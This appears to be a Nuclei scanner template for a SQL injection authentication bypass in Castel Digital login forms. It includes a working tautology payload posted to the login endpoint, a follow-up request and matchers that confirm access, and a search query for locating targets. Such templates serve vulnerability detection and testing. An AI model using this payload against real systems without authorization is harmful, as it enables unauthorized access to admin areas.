nuclei-templates/http/vulnerabilities/other/castel-digital-sqli.yaml

43 lines
1.1 KiB
YAML
Raw Permalink Normal View History

2024-05-13 14:23:28 +00:00
id: castel-digital-sqli
info:
2024-05-14 05:38:53 +00:00
name: Castel Digital - Authentication Bypass
2024-05-13 14:23:28 +00:00
author: Kazgangap
severity: high
2024-05-14 05:38:53 +00:00
description: |
SQL Injection vulnerability in Castel Digital login forms.
2024-05-13 14:23:28 +00:00
reference:
- https://www.casteldigital.com.br/
- https://cxsecurity.com/issue/WLB-2024050032
metadata:
2024-05-14 05:38:53 +00:00
verified: true
max-request: 2
2024-05-13 14:23:28 +00:00
google-query: "Castel Digital"
2024-05-14 05:38:53 +00:00
tags: sqli,auth-bypass,castel
2024-05-13 14:23:28 +00:00
http:
- raw:
- |
2024-05-13 14:49:02 +00:00
POST /restrito/login/sub/ HTTP/1.1
2024-05-13 14:23:28 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=x%27%3D%27x%27or%27x&password=x%27%3D%27x%27or%27x
2024-05-14 05:38:53 +00:00
2024-05-13 14:49:02 +00:00
- |
GET /restrito/ HTTP/1.1
Host: {{Hostname}}
2024-05-13 14:23:28 +00:00
matchers-condition: and
matchers:
- type: word
2024-05-15 08:12:32 +00:00
part: body_2
2024-05-13 14:23:28 +00:00
words:
2024-05-13 14:49:02 +00:00
- "Banner"
- "Construtoras"
2024-05-13 14:23:28 +00:00
condition: and
2024-05-14 05:38:53 +00:00
2024-05-13 14:23:28 +00:00
- type: status
status:
2024-05-14 05:38:53 +00:00
- 200
# digest: 4b0a00483046022100d80a22d4cf273f6271529eb7a45f6340388cc7b72da5125e620e24e141c66ac4022100dab34630a0cb5708cd7153359df8c7bbe5b45c9c7ee7cb0f076e31a29b76023d:922c64590222798bb761d5b6d8e72950